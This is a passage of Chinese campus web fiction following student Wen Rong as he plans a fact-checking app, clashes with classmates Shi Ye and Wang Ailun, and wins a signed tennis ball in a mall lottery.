随便做个糊弄糊弄吧,不能真让温绒没面子。 温绒满心欢喜,摸出小本本记下“第一步:林启正学长做软件”。 “不是我说,你怎么想到做这种软件。”林启正心不甘情不愿地开始干活,顺便发散怨气。 “爬山那天伊芙琳跟时野给那个女生提的意见很好,要是他们不提,那个女生应该不知道该怎么办,而且……”曾有一段时间莱昂学长给了自己很多帮助,所以温绒刚才忽然就想到,很多人跟自己一样,都需要正确的帮助。 温绒想了想,说:“蓝书上好多都在吵架,根本没有讲道理,我想做一个有份量的软件。” 张麟笑,“这叫专业科普。老幺的想法不错,蓝书上八卦跟假消息太多,是需要有人站出来说什么是对的。这个概念很厉害,做出来绝对受欢迎,你就做吧,别到时候又错亿。” 林启正质疑,“可是这个软件做出来有人会用吗?” 这个温绒已经想到了,举起手机骄傲展示自己的401万粉丝,“你们不是说我的粉丝很多吗,到时候我就只打这个软件的广告。” 林启正又说:“软件上架要拿版号,这些很麻烦的。” “学长你先做,手续问题我来研究。” 林启正终于停止东拉西扯,垂头应声,“好吧。” 温绒看得出林启正的勉强,但他真心觉得很多人需要这个软件。 至于在里面进行科普的专业人士……温绒第一个想到莱昂学长。 “学长,你先做哦,我想去找莱昂学长问问他能不能到软件里当专业科普的人员。” 温绒一边说一边收拾东西,背上包到101旁边敲门。 “谁啊。” 门没开,温绒对着门闷闷回答,“我是温绒。” 咔擦。 里面一个满身灰的男生开门,见到温绒,愣了下,“嗷,你是莱昂的小学弟。” “你好,我找莱昂学长。” “他不在。” 没预料到学长不在这里,温绒有些意外。 他正打算黒鸽上问问莱昂学长,打开手机猛然发现两人已经好几天没有发过消息了。 “喂。” 男生叫住温绒。 温绒回头,男生背手关门,走到温绒面前低声道,“莱昂离校了,有些……特殊的事。估计要一个月后才回来,他有点忙收不到消息。” 温绒心想学长离校怎么没有给自己提前讲一声呢,后又反省,自己也没有找学长聊天,自己也有问题。 “好的,谢谢你。” 学长暂时是不行了,温绒顺位想到蒋稚月,给蒋稚月发消息过去。 意料之中,得到了蒋稚月的支持。 温绒莫名有种感觉,自己想做的蒋稚月也想做,从婚内出轨到爬山遇到的那个女生,两个人的意见冥冥之中一直都保持一致。 第三顺位,温绒点开时野的对话框又关闭,点开通讯录,少得可怜的好友又让他不得不回到时野的聊天界面。 温绒一边走一边发消息:[在吗?] 时野:[?] [我关注你的蓝书有一段时间了。] 时野:[?] 由于关系不太近,温绒没办法在没什么可以给时野的情况下让他帮忙,先旁敲侧击,[你为什么不回关我?] 时野那边沉默了。 温绒有点怕时野不再搭理自己,连忙把软件的事打在输入框,还列出“会让你更有名(即使你已经世界知名)”这样没有说服力的好处。 突然,时野又发来消息:[不想关注。] 温绒脚步蓦然一顿,手指从“发送”转移到“删除”,每一下都很用力,指尖敲得屏幕砰砰响。 一呼一吸间,终于把打的大段字全部删除。 他滑动屏幕,从上至下看一遍自己发的消息,确认没有任何惹人讨厌的地方,气愤回复: [你好讨厌。] [我以后不会再试着跟你做朋友了。] 第56章 第 56 章 你好烦 温绒发完这条消息后点开时野的个人信息, 右上角,删除。 删除了,就把这件事彻底结束。 他拍拍自己的脸, 把满脑子的愤怒拍走,一脚又一脚用力踩回宿舍,身形歪歪扭扭,像个在小人国行走的巨人。 第二天早上有许秋老师的课,温绒照常坐在第一排中间,虽然以往也没有跟时野有交集,但今天上课他刻意固定脖子, 坚决不看到半点时野。 下课铃声响起时,温绒一改以前作风,迅速收东西准备跑, 在正要出门时忽然被其他同学拉住。 温绒回头,同学指了指讲桌,“许秋老师找你。” 往门口走的学生越来越多, 温绒踮起脚,才看见讲桌边正收拾东西的许秋老师。 打扮很是随意, 有些像蒋稚月,头发用抓夹随意盘起,表情是冷的,但并非刻意如此, 好像很疲惫,脸上已经无法维持表情。 温绒走到讲桌边,“许秋老师,谢谢您之前分享给我的书单。” “都看完了?” “嗯,都看过了。” “看出来了, 最近几次作业进步明显,我晚上再给你一份新的书单。” 温绒没想到会有新的书单,不知道是不是特殊照顾,但第一次被老师带着学习,他忍不住鞠躬道谢,“谢谢老师。” “不用谢,我也是帮自己。因为看你写的作业很费劲。” 温绒顿时脸红,道谢改为道歉。 许秋摆手谢绝,从包里摸出个小盒子递给他,“这个,莱昂让我给你。” “学长?” 温绒还没来得及震惊完,盒子一落,忙不迭伸手接住。 不重,里面的东西不大,小段距离坠落都晃出了响声。 “是啊,专门坐6个小时的车到我那儿嘱咐我带给你。” 那盒子里的东西也太贵重了。 温绒斟酌着措辞想再给许秋老师道谢,她桌子上的手机一响,像是电话。 “我走了,你把书看完记得给我回个消息。” 直升飞机的声音穿过走廊,涌入教室,温绒捧着盒子发了会儿呆,就着讲桌拆开。 里面有一个很小很小的东西,金属质感。 盒子里还有莱昂学长写的纸条。 ——玩过鞭炮吗?碰见不喜欢的人,把这个东西的开关打开丢到那个人的口袋里,一秒后他会被“炸”一下。 好神奇的东西。 温绒忍不住把东西从口袋里取出来,举起对着灯光仔细瞧。 眯眼的时刻,恍然看见时野还坐在教室里。 过高的教室极具压迫感,时野居高临下,表情不怎么好看。 两人自然而然地对上视线。 温绒愣了下,迅速把莱昂学长送给自己的东西收进包里,转头离开教室。 温绒到食堂时恰好是人最多的时候。 他刻意跟其他人保持距离,然而在不经意间,总会撞到人,道完歉继续走,没有注意被撞的人摸了摸手臂,向同伴扬起下巴,颇有点炫耀的意味。 “老幺。” 喧闹声中,林启正在不远处挥着手喊温绒。 温绒一喜,端着盘子坐到林启正的对面。 没多久,张麟也过来,“老三,软件做得怎么样?” 林启正本来开开心心吃午饭,闻言表情难看,“吃饭的时候别聊工作,我压力大死了。” “我还不了解你?不催你,你就一点都不干。” “老幺都不急你急什么!” “急着投钱!” 温绒一愣,“投钱?” 张麟:“对啊,我觉得这个软件很有前途,说不定能打破蓝书一家独大的格局。所以我打算成立公司专门运营这个软件,到时候老幺你也是股——” 张麟的声音戛然而止,双眼看向门的方向,渐渐皱起眉头。 温绒跟林启正感到奇异,跟着望过去,看见张锦程帮旁边一个男生背着包,姿态低得像佣人一样,招呼男生坐下,又帮男生端饭。 温绒觉得这情境眼熟,齐元也是这么对待时竞的。 目光不自觉从张锦程身上转移到被张锦程照顾的男生身上,是个长头发,看起来很有艺术气息,没有领带,脖子上挂着小丝巾。 可能三人的目光过于热烈,长发男敏锐发现三人,抬眼看向三人。 不知道是不是温绒的错觉,他觉得长发男在看自己。 没两秒钟,长发男站起,径直朝三人走过来。 有过太多次经验的温绒迅速往嘴里塞饭,狼吞虎咽,在长发男不客气地坐在对面时,盘子里只剩下一半食物。 “温——绒——” 长发男的声音带着难以言喻的暧昧。 “有什么事吗?”张麟抢在温绒之前询问。 “过来打个招呼而已,不要这么紧张,我又不会吃了他。” 说到这个“他”时,眼睛上下转动,打量温绒,好像要把温绒里里外外都看个遍,随后吞咽唾液,身体前倾,像是想离温绒更近一些。 “坐在这边干什么?”端着盘子过来的张锦程伸手挡住那种痴迷的视线。 长发男身体倾斜,躲开张锦程制造的“障碍”,“你的蚕丝,是温绒从梁子力学手里拿的吗?” 张锦程蹙眉,伸手拉温绒起来,“吃完了吗?吃完了去学习。” “嗯。”温绒心想幸好刚才刨了几口饭。 “别着急让他走嘛。”长发男说:“自我介绍一下,我叫王艾伦。” 温绒听到这个名字,下意识回头。 “真人果然比照片上好看,梁子力学看见你的时候兴奋死了吧。” “走。” 张麟起身要拉走温绒,王艾伦说:“你为了张锦程,cos米璐璐给他看?” 无人回答,他继续:“米璐璐的裙子都那么短,穿在你身上是不是连屁股都遮不住,拍照的时候有撅起来给他看吗?” “还是你给他——” “够了。” 张锦程骤然打断他。 分贝不小,本来就有很多人在悄悄关注温绒,现在有大戏发生的趋势,空气更是瞬间静下来。 温绒感受到手上有拉力,是张麟执着地想要拉走自己。 但他不想走,他饭吃得好好的,为什么要被拉走,而且这个王艾伦跟张锦程学长又是怎么回事,之前纵火诬赖到学长身上,怎么学长现在听他的安排。 王艾伦站起来,拨开张锦程,凑近温绒,“现在张锦程求着我借工匠给他,你要不要也帮他的忙?” 张锦程拉他,“跟他没关系。” “只要你答应,我什么——” 王艾伦还没说完,人群里冲出来一个人,一巴掌拍在王艾伦脸上,“谁准你这么跟温绒哥哥说话。” 齐元不知道为什么跑得比时竞慢,追过来后假装很有诚意地跟王艾伦道歉,“不好意思啊,王学长。” 王艾伦愤怒转身,反手一巴掌拍在时竞脸上,“老子从小到大就没被人打过,你算什么东西敢对我动手。” 王艾伦没被打过,时竞同样也没,脾气不好的小少爷二话不说扑倒王艾伦,用力扯他的头发,“你敢打我!我弄死你。” 王艾伦不甘示弱,也扯时竞的头发。 尖叫声,欢呼声在食堂内回荡,温绒暂时理不清这些状况的来龙去脉,只想到因为自己罚黄牌的人更多了,不能再添一个,连忙上前把王艾伦从时竞身上扯下来。 力气不够,是新闻社的其他三个一起帮的忙。 两人互不相让,扯开后互骂了好几分钟,张锦程跟几个人强行拖走王艾伦战局才终于结束。 温绒刚松口气,忽然感到手臂被禁锢,时竞彻底把他包住,埋在他肩膀上哭,“呜呜呜,温绒哥哥我被欺负了。” 温绒不擅长安慰人,一时间也不知道该怎么办才好,视线乱飘。 好巧不巧,看见人群里明显高一截的时野,灰色刘海在眼前蒙上阴影,看不清表情。 时竞哭得更大声时,时野转头走了。 很多人见没戏看,也纷纷离开。 这件事算是因为他才发生的,温绒出于责任心,整个中午都在安慰时竞,下午上课齐元强行带走时竞才得以脱身。 只是这次上课他又走神了,莫名开始回忆见到张锦程那一刻发生的所有事,试图理顺这些事情发生的原因。 之前有过这种情况的,要么系统帮自己,要么有莱昂学长。 系统表示不知道,而莱昂学长也不在。 温绒打开自己的好友,排除掉新闻社后只有蒋稚月还能联系上,于是主动给蒋稚月发消息:[在吗?可以请教你一点问题吗?] 蒋稚月:[嗯?] [为什么我们学校的男生,对我总是有那种不正当的想法呢?] 蒋稚月:[你被欺负了?等我,马上来找你。] [没有没有,只是他们经常把我当成女孩子一样调戏。] 蒋稚月:[狗男人就是下半身决定脑子,等着,我拿生物阉割剂给你,打一针,包断子绝孙。] 温绒吓一跳,连忙拒绝。继续说自己的需求:[我只是想知道他们为什么有这种心理。] 蒋稚月:[因为你看起来柔柔弱弱的太好欺负了吧。你得凶一点,不是那种不搭理人的凶,你要狠狠骂他们,欺负他们,让他们知道你不好惹。就像时野,他一看就不好惹。] 要时野那么凶吗? 好像确实很多人都怕时野。 温绒茅塞顿开,在心里决定,不仅要做更优秀的人,也要做一个不好惹的人- 这个晚上张锦程依然没来100室,温绒手机上收到了张锦程的道歉。 但在温绒的认知里,这些事跟张锦程一点关系都没有。 他感到奇怪,询问林启正:“学长,为什么社长要那么照顾王艾伦,之前他们不是……” 林启正咬唇不敢说话,慌张看向张麟。 张麟叹气,“这件事我们怕你有心理负担,本来是不打算告诉你的,但现在事情都这样了,还是跟你说吧。” “因为蚕丝的织造工艺比较复杂,只有王艾伦手下的工匠可以做,社长不想辜负你的心意,所以去求王艾伦帮忙。” “社长自己不可以雇佣吗?” 张麟顿了顿,“老幺,你要明白一个道理。顶尖的东西是无法取代的,比如说一幅画,美术老师不能跟画家比。” 林启正:“哎呀,别搞那么复杂。整件事就是王艾伦比较厉害,学校为他雇佣了牛x的工匠,社长需要工匠的技术,就必须经过王艾伦的同意。” 他继续补充,“就像很多人加入网球社一样,想体验时野的高级网球场跟教练团队。” 张麟:“你……可能不理解资源差距,总之你把他理解为钱,因为王艾伦非常有钱,社长需要一大笔钱,在一般人那边借不到这么多,所以不得不去请求王艾伦帮忙。” “那齐元跟着时竞是……”温绒问完自己也笑了。 答案齐元不是在报道那天就告诉自己了吗? 因为时野父亲是齐元父亲公司的大股东,所以齐元不得不听时野的话。 赵泽阳也有一批追随者的。 原来弗罗里曼学院里不是每个人都会成为自己领导的领导。他们也跟自己差不多,因为没那么多钱而被看不起。 温绒了解这种情况出现的必然性,但他讨厌王艾伦,不想让张锦程再被王艾伦驱使。 从100室回宿舍,温绒一边慢悠悠走一边思索着要怎么做才能解决张锦程的困难。 走近宿舍是,一只有力的手忽然拉他往旁边走。 温绒吓一跳,短暂一两秒钟时间,摸出学长给自己的东西,打开开关往对方身上扔。 “嘶——”空气里响起倒吸一口凉气的声音。 温绒认出来是谁了。 “这是莱昂给你的?” 他仰头看着比自己高出半个脑袋的人,忍不住骂出私以为最恶毒的话。 “你好烦。” 第57章 第 57 章 特等奖 时野愣了下, 回身把手插入发间,烦躁地搓出声响。 随即他又回头说:“你说过你不跟时竞站在一边,你今天一中午都跟他在一起。” “你把我拉过来干什么。” 时野一怔, 手上动作都停住了。 “你不要来找我,我现在也不站你。” 温绒说完不再管他,刚才似乎听到金属掉在地上的声音,他打开手机电筒,蹲下身找莱昂学长给自己的小东西。 他也注意不到,时野高挑的身影在黑暗中颤抖,比刚才被电时还要剧烈。偶尔有光落在他鞋面上, 运动鞋像水凝土浇筑出来似的,一动不动。 良久,时野深吸一口气, 压低声音询问,“你会喜欢上张锦程的女朋友吗。” 温绒不理他,他继续问:“你会喜欢林启正的女朋友吗?或者张麟的女朋友。” 温绒:“……” 时野抬脚, 用膝盖撞了撞温绒的肩膀,“喂——” “我不明白你到底在说什么。”温绒被烦得撑着膝盖站起, 声音都忍不住拔高。 时野轻呵一声,“不明白还是没听我说话。你都不认真思考我的问题,还想跟我做朋友。” 温绒怒极,“如果你昨天这么问我, 我肯定会好好思考,但现在不行,我讨厌你。” “我……” 温绒不等他说完话,气冲冲蹲下身继续打着电筒找东西。 时野跟着蹲下,放软声音, “只是因为我没有回关你吗?我已经回关了。” “不是。” 时野犹豫了几秒,岔开话题,“你在干什么?” “找莱昂学长给我的东西,早知道是你我就不用了。” “不然你以为是谁?” “当然是王艾伦那种变态。” 闻言,时野脸上的表情缓和许多。 至少在温绒眼里,他跟王艾伦之流是不一样的。 但温绒紧接着说,“我也没想到竟然会遇到那么多对我心怀不轨的猥琐男。” “……”时野莫名觉得膝盖疼。 “你不也长得很好看,为什么他们不喜欢你呢。” 时野莫名嘴角弯弯,“那不一样。” 温绒又找了将近十分钟,每一块地就差被他翻起来,都没看见那个小小的东西。回顾四周,看着这地方没人会来,起身放弃。 夜里还是不好找东西,等天亮了再来找。 “你不找了?” “找不到,我明天再来。”说完,又忍不住问:“你能不能别再来找我,我跟你性格不合,我们不适合做朋友。” 时野没回话,他就当他默认了,转身准备走,忽的又被拉住手臂逮回来,“为什么不适合。” 温绒深吸口气,“你太情绪化了,我试着包容你的缺点,但我每次都热脸贴冷屁股。我还有其他对我好的朋友的,他们不会跟我生气,就连时竞也不会对我发脾气。我觉得跟你做朋友不如跟他们做朋友开心。” 时野猛然松手,倒退两步,身影全部埋在黑暗中,温绒看不清他的表情,但莫名觉得他这样子有些可怜。 想到他爸爸妈妈的事情,忍不住又起恻隐之心。 时野好像也就这一个缺点,除开情绪化这件事,他各方面其实都挺好的。 温绒犹豫着又说:“我觉得你该改一改缺点,只要你改变,很多人都会跟你做朋友的。” 空气莫名陷入沉默。 温绒不再多说,把手机收进兜里上楼。 临近冬天,一股股风跟针似得敲着骨头。 时野心情烦闷,想要一拳打在墙上,抬起手想起温绒说的话,又不得不把手揣进口袋里。 心脏的疼痛慢慢被风吹走,被电到的地方开始有所感觉。 你又没跟好朋友喜欢上同一个人,你怎么可能理解我。 他再次烦躁地搓了搓头发,原地转圈吐气。 身边有人路过时,喊了声“时哥”,时野猛然想到什么,摸出手机打开电筒,在黑漆漆的地里找东西- 温绒第二天早上起早了半小时,到楼下没找到莱昂学长给自己的东西,只好先在黒鸽里给莱昂学长道歉,虽然他大概率没看到。 刚发完消息,黒鸽系统发来通知:[王艾伦在食堂寻生滋事,有败坏校风嫌疑,罚黄牌。] 没有看到时竞的名字,温绒松了口气。 他不想也欠时竞一个人情,要是时竞因为自己被罚黄牌,都不知道该怎么站在莱昂学长这一边。 一天时间平静度过,没有触发任务,没有时竞骚扰,也没有遇见莫名其妙的时野。 吃饭前,张锦程在新闻社的群里通知今晚外出团建。 有些意外,同时打乱了温绒的计划。不过他想着这是近期张锦程第一次聚集大家,最后还是到校务楼旁边的停车场跟其他三人汇合。 一连蔫了将近一个月的张锦程露出少有的兴奋,带着三人去市中心一处商场。 商城是一栋楼,很大,内里像塔,中空,四周建着环绕的自动扶梯。 明明都是不同店面,但进去一瞬间,温绒就想到一个词,“金碧辉煌”。 温绒跟在张锦程身后进入第一家店,意外在柜台上看见自己开学用的编织袋,好奇走上去一瞧,被店员拦了下来,“别碰。” 温绒一愣,“我没……” 没来得及解释,店员说:“你第一次来我们店里?要看什么叫我拿给你,免得弄脏了。” “好的。”温绒把手揣进兜里,活生生像个局促的土包子。 “好什么好,他又没碰。”林启正伸手搭在温绒肩膀上,“社长,走了,这什么破店,态度这么差。” 温绒:“其实——” 张锦程回来打断温绒,“走,今天我心情不好,受不得一点气。” 店员一愣,连忙道,“我不是那个意思。” “走走走。” 张锦程带着温绒到隔壁,刷下刷下179万巨款,还让店里安排四个保镖在身后帮忙提袋子,从这家店门口路过。 当然,同时也引起许多路人的注意。 “刚刚那个店员也没说错什么……社长因为那个就到隔壁刷这么多钱,是不是太浪费了。”张锦程开始新一轮采购的时候,温绒躲开路人的视线悄悄询问张麟。 张麟扶额,“他心情不好,随他吧。” “发生什么事了吗?” “早上看到消息了吧,王艾伦被罚黄牌。” 温绒点头。 “罚牌这种事,对启正这种无所事事的人来说没什么威慑力,对时野这种钱多到花不完的人来说也没有,但是王艾伦有事儿做,又没那么多钱,就比较倒霉了。” 张麟继续说:“前段时间内纵火不是还要重新修缮他的工作室吗?在学校内发生的事本来应该学校出资,但现在他被罚黄牌,学校会因为他表现不好终止对他资助,而且如果他黄牌不消掉,接下来他都没办法再向学校申请任何资源。” 原来罚黄牌这种严重。 温绒挠挠头,心想自己幸好一穷二白没什么需求,不然背着一张“红牌”真的要完蛋。 张麟:“我猜王艾伦心情不好,就不讲信用拒绝了借工匠给社长,社长都给他当牛做马好几个星期了,王艾伦突然不讲信用,社长也只能吃哑巴亏。” 温绒看向正准备刷卡的张锦程,“工匠都是王艾伦向学校申请的,那社长不能向学校申请吗?” “你现在向学校申请使用时野的网球场,你觉得学生会会同意吗?” 温绒不知道为什么学长总喜欢拿时野来举例子,但这个例子又莫名的贴切。 答案显而易见,自己这种网球小白必然不会得到同意。 啪啪 张麟拍温绒的肩膀,“别想太多,这件事跟你没有什么关系。而且社会就是这样,优秀的人占据更多资源,等你再长大一点就明白了。” 温绒不用长大也能明白。 这个道理是对的,但他不想让自己朋友难过。 “老幺,商场有抽奖活动。”前方没有烦恼的林启正忽然喊。 这层的中央,又巨大广告牌,像是商场组织的,说是转转盘能得到礼品。 周围围了不少人,还有个热场的主持人,拿着话筒宣布有人中了三等奖,得到商场送的“一克小金猪”,全场鼓掌。 温绒听到金猪眼睛瞬间亮了,忍不住看广告牌上的抽奖介绍。 每花费20万能转一次转盘。 三等奖是一克的金猪。 二等奖是现金1万。 一等奖海岛游。 特等奖用彩色的标志特地标注:神秘大礼。 张锦程心情好,手一推把林启正推到转盘前:“老三你转!” 林启正开开心心转转盘,由于“谢谢参与”占据了不少的比例,好几次没中。 “我再来一次!我一定可以。”林启正不服输再来了三次,最后终于拿到个三等奖。 张麟跟张锦程也去转,没中,让林启正稍微找回一点自信。 四人里,大概只有温绒是最高兴的,捧着林启正的小金猪左看右看,眼睛弯弯。 是金子呢! “老幺你去试试。”张锦程忽然说。 “啊?” 温绒没反应过来,人已经被推到了转盘面前,他手里还小心翼翼捧着小金猪。 “转啊!加油,给我们赢个一等奖。” “老幺,我希望你来个谢谢参与,让我当咱们社团最幸运的人。”林启正刚说完被张麟拍一巴掌,“滚。” 林启正改口,“好吧好吧,老幺你加油,给我赢海岛游。” 在三人的鼓励下,温绒轻轻拨动了下转盘。 转盘作响,各种颜色的色块在指针前晃过。 某一瞬间,转盘似乎要停了,靠近一等奖的位置,四周彻底安静,所有人屏住呼吸。 而指针最后还是偏离一等奖,众人不免感到失望,还说“差一点”。 温绒都准备尴尬笑笑的时刻,转盘突然“噔噔噔噔”响起音乐,他吓一跳,连忙跑开。 “哇,特等奖!” 周围所以人比温绒还兴奋,甚至鼓掌起来。 温绒不敢相信,回头看指针,果然定在细细的“特等奖”上。 主持人举起话筒高声宣布:“恭喜顾客抽中特等奖。” 林启正冲上来搂温绒,“好厉害啊老幺,竟然能得特等奖。好像就一份,几万分之一的概率呢。” 张锦程也上来,“一等奖都是海岛游,那特等奖肯定是很厉害的东西。说不定能让我回本。” 回本! 179万! 温绒都被气氛烘托得骄傲起来,嘴角高高上扬。 工作人员很快抱着一个盒子过来,递给主持人。 主持人把盒子交给温绒时还亲切地询问温绒能不能跟奖品合影。 温绒太高兴了,连连点头。 然而下一秒,主持人举着话题高声宣布: “恭喜这位幸运顾客,获得史上最年轻的网球大满贯获得者,时野亲笔签名的网球一枚。” 温绒:“……” 张麟:“……” 林启正:“……” 张锦程:“……” 第58章 第 58 章 帮忙问一问 “学长, 你要这个吗?”坐上车后,温绒把盒子递向林启正。 林启正头手一起坚定拒绝,“不不不不。” 此路不通, 温绒回头看张麟,“学长,世界第一的签名……” 张麟也头手并用,“不不不不。” 温绒又看向张锦程,张锦程在他开口前抢先“我在开车”。 温绒:“……” 温绒低头看盒子,深色的,手指抚摸在上面还能摸到暗纹, 打开时里面有一张亮堂堂的黄色绸布驮着球,足以证明时野的签名确实“价值不菲”。 但温绒怎么都无法把时野跟可望不可及的大明星联系上,拿着他签名的球, 感觉很怪。 老长一段时间没有修剪的刘海已经可以遮住眼睛,清俊的眉间皱起,心思过于明显。 林启正忍不住提议, “老幺,你可以卖掉。” “卖掉?” “对, 时野亲笔签名的网球对咱们来说确实没什么用,但他有很多粉丝啊,网球可是最吸金的职业比赛,他的粉丝都不差钱, 说不定能卖个七八万呢。” 温绒顿时眼睛放光,“在哪可以卖掉?” 林启正伸手,“给我,我帮你卖掉,咱俩46分。” 温绒嗯嗯点头, 张麟一巴掌拍林启正肩膀上,“四六分?你想得美,这是老幺转到的。” “哎哟,有点痛。”林启正揉揉被拍的地方,“好吧好吧,我一分不要,全给老幺。” 温绒想了想,“这个钱可以以咱们四个人的名义拿去开发软件吗?” “钱放在手里不好吗?”林启正问。 “因为是社长花钱咱们才有机会抽奖呀,而且在学校又花不了什么钱,把它拿去当软件的初始资金更有用。” 烫手山芋就这么决定好去处。 接下来小半个月,100室回到了开学时的状态,每晚4人都会坐在小屋里重聚。 林启正键盘敲得哐哐响,张麟跟温绒在旁边学习,张锦程睡觉。 天气预报说接下来半个月都会有雨,雨季一过,就到了冬天。 轰隆隆 惊雷照亮窗户,温绒偶然活动脖子,看见张锦程趴在桌子上睡觉,顿时心里不是滋味。 总感觉那天花了179万并没有排解张锦程心里的情绪,反而把他打得一蹶不振。 可学长遇到挫折就放弃是不是不太好,或许应该多看一点视频,学习一下积极面对生活? 温绒胡思乱想着,电脑屏幕的右下方突然弹出黒鸽虚脱通知:[王艾伦在春夏时装周上表现优异,取消黄牌。] 这是温绒第一次看见有人取消黄牌,因为也想给林启正取消黄牌,所以即使对方是出言不逊的王艾伦,也忍不住好奇,他的表现到底有多好。 鼠标挪动,点开蓝书,搜索王艾伦。 @娱八卦:天才设计师王艾伦在春夏时装周展出的裙子也太仙女了,你最希望看到哪一个女明星穿[图片][图片] 温绒看清图片里宛如水母一般亮晶晶的蓝色短裙,瞳孔骤然紧缩。 他忙不迭把电脑推到张锦程的面前,“学长,这不是你画的那条裙子吗?” 林启正对八卦有着天生的敏锐,瞬间竖起耳朵,“什么?” 张锦程还在睡,迷迷糊糊听到有人喊自己,抬头瞧见面前噔噔噔三张大脸,吓得一激灵,瞬间坐直,“什么?” 温绒指向电脑屏幕,“这条裙子我记得是你画的,你当时还说适合我穿。” 林启正偏头看屏幕,又看温绒,兀自点头,“确实适合你穿,老幺你也走上张麟的不归路了啊?” “闭嘴。”张麟又一巴掌拍他,认真问张锦程,“社长,你的设计稿被王艾伦盗用了?” 张锦程这才回神,微微偏开头不敢看三人,“没有,不是我画的,老幺你记错了。” “我没有记错。”温绒反驳。 “你就是记错了。”张锦程伸手盖上温绒的电脑,烦躁起身,“我回去了。” “我真的没有。” “我说别——” 张锦程声音拔高,还没说完,被忽然暴起的张麟拽着领子甩回椅子上,“你大方,你把设计稿给王艾伦,送王艾伦成为今年春夏时装周最优秀设计师。他现在在时装界的地位高了,还消了黄牌,又可以随随便便拿捏你,以后你一辈子都在他的阴影下过活。” 张锦程一时无言,张麟面上露出少有的愤怒,拽着张锦程的领子用力摇他,“那傻逼这么整你,你还在他那里委曲求全干什么?” “好了,你一个局外人干嘛比我还急。” 张锦程试图推开张麟,张麟却死死不放,眉毛几乎要竖起来,“我就说王艾伦的设计风格怎么改了,原来是你给他的。你是不是脑子有病,如果你自己办展,你就飞升了懂不懂,你都可以自己跟学校申请工匠。” 张锦程仿佛被刺痛,脸颊气得血红,用力甩开张麟,“我连把裙子做出来的能力都没有,谁让我是个没任何人支持的私生子。” “私生子”三字一出,空气瞬间归入死寂。 雷声再响一声,忽然哗啦啦下起暴雨,窗户几乎要被打碎。 张麟浑身无法动弹,被张锦程轻易推开,背上包走到门边。 雨声短暂涌入,归于一声“砰”,张锦程走了。 温绒看向林启正,林启正在嘴边做出一个拉拉链的动作,示意他不要说话。 温绒因为不知道该如何处理目前状况,乖乖闭嘴。 张麟定在原地几秒,突然无奈笑了声,开始收拾东西,“我也先走了,启正,软件你好好弄。” 林启正仿佛没有被两人吵架影响,笑嘻嘻道,“好嘞。” 然而张麟前脚走,林启正后脚就收拾东西。 “学长,软件……” “在弄了在弄了。” “你答应张麟学长了。” “他又不在,你不说我不说,他就不会知道。” “好吧。” 温绒也跟着关电脑。 大家都不在,他也不想一个人待在100室。 叮—— 林启正的笔记本电脑忽然作响,像是来了消息。 他弯腰看一眼消息,不再收东西,而是凑到温绒身边贼兮兮地开口,“老幺,能不能麻烦你一件事。” “什么?” “你还记得时野亲笔签名的网球吗?” 温绒点头。 “是这样的,网上有一个富佬想花6万买。” “嗯嗯。” “他拍下来了。”林启正可以把“了”拉长,在这一两秒的时间里,眼珠子死死盯着温绒。 “这是好事。” “但是——” 温绒预感不妙,“但是?” “签名的网球好像不见了。” “啊?”温绒懵了,“怎么会不见了?” 林启正俯身埋在温绒肩膀上假哭,“呜呜呜,学长也不知道,学长明明记得放在桌上的,但过了几天就找不到了。” 温绒着急问:“人家付钱了吗?你快把钱退给人家。” “老幺,这不是钱的问题。”林启正“哭”得更大声,“人家充满期待的下单,结果我告诉他球不见了,我想他会很难过很难过。” “可是你都把球弄丢了,这也是没办法的事。” 林启正顿了顿,抬起脸擦完全不存在的眼泪,“你不是跟时野熟吗?你让他再签一个吧。” 温绒想都不想立马拒绝,“不行。” “怎么不行?他网球场那么多个球,随便捡一个,在上面写个名字,都不需要两秒钟。” “我已经跟他……”温绒回忆了一下自己跟时野最近的交集,两人之间的行为,并且定性,“绝交!” 林启正大惊,“不是,你跟他绝交干嘛?” 因为时野总是忽冷忽热,爱发脾气。 温绒私以为背地里讲人家的坏话不太好,含糊道,“我跟他一直也不是很熟。” “唉,那你亏大了。谁不想跟时野打交道啊,最年轻的大满贯选手,最有商业价值的体育明星,又是时家的继承人,他简直是六边形战神。” 温绒:“就算他这么厉害,我跟他也已经绝交了。” “老幺,你想想,咱们的软件马上要开发好了,美工需要钱,运营也需要钱,版号这些更需要钱,那个网球可是咱们的第1笔资金。” “如果让时野重新签名,那不应该算时野投的钱吗?” “你不说我不说,他又不会知道。” “……” “老幺,这个任务非常艰巨,你一定要完成啊!” 温绒还是觉得很没道理,“我觉得这样不好。” 林启正沉默地望了温绒几秒,知道温绒的态度坚决,于是改口道,“对不起,学长刚才骗了你。” “啊?” “其实是我表哥的女朋友是时野的球迷,我表哥打算在他俩交往100天的纪念日送女朋友时野亲笔签名的网球。” 温绒理了理逻辑,“那你可以把抽奖得到的球给你表哥。” 林启正扶额,“你小子没谈过恋爱你不懂,我表哥觉得只送一个不吉利,硬要我再给他找一个,凑成对。” 温绒确实不懂。 “这件事真的很难让人理解,我也没有办法所以才编了个谎。” 为了能正常对话,他不得不试着理解,然后提出解决办法,“学长你可以自己请求时野帮忙。” “我跟他不熟啊,你跟他比较熟。” “……” “老幺,你帮帮我吧啊,我表哥说了,要是给他凑一对,他就给咱们软件无偿投资50万,不用还,赚钱了也不用给他分红。” 温绒忍不住好奇,“为了个网球投50万,他图什么呀?” “你不知道,热恋期间的人,想给对象准备个有心意礼物,多少钱都愿意出。” “……” “你答应了吧?” “我没——” 林启正打断他,“你就去试试。” “我才跟他吵——” 林启正又打断他,“你就帮学长问问,就算他拒绝也没关系。” 温绒心想,好吧,就帮忙问一问。 林启正心想,你小子一开口,时野不得立马把全场的球都签了送到你面前。 第59章 第 59 章 你好厉害 晚上温绒回去打算在黒鸽上问一问时野, 猛然想起自己已经把他删除了,不由得开始后悔答应林启正。 现在的场面,似乎连问一问都很难实现。 可是如果不问的话, 好像会错失50万。 【钱不是问题,弗罗里曼学院会为学生提供任何资源,包括钱。】 被系统这么一提醒,温绒顿时惊喜。 但很快又蔫了,“可是学校不给黄牌的学生提供资源,我甚至是红牌。” 【张麟没有黄牌。】 他茅塞顿开,立马找张麟问可不可以向学校申请资金。 张麟发来一张截图。 图片里, 学生会毫不犹豫地驳回张麟的申请,甚至连理由都没写。 温绒觉得奇怪:[为什么学长没有黄牌也无法申请呢?] 张麟:[这涉及一些校外因素。] [你知道周谢父亲是总统吗?他父亲背后有一些企业,扶持他父亲的原因就是为了在他任期内得到政策好处。] [这跟周谢当学生会会长是一个道理, 周谢只会为了跟他有利益关系的人开绿灯。] 温绒仔细阅读,不禁烦恼,既然周谢有这样的潜规则, 那他父亲是不是也一样? 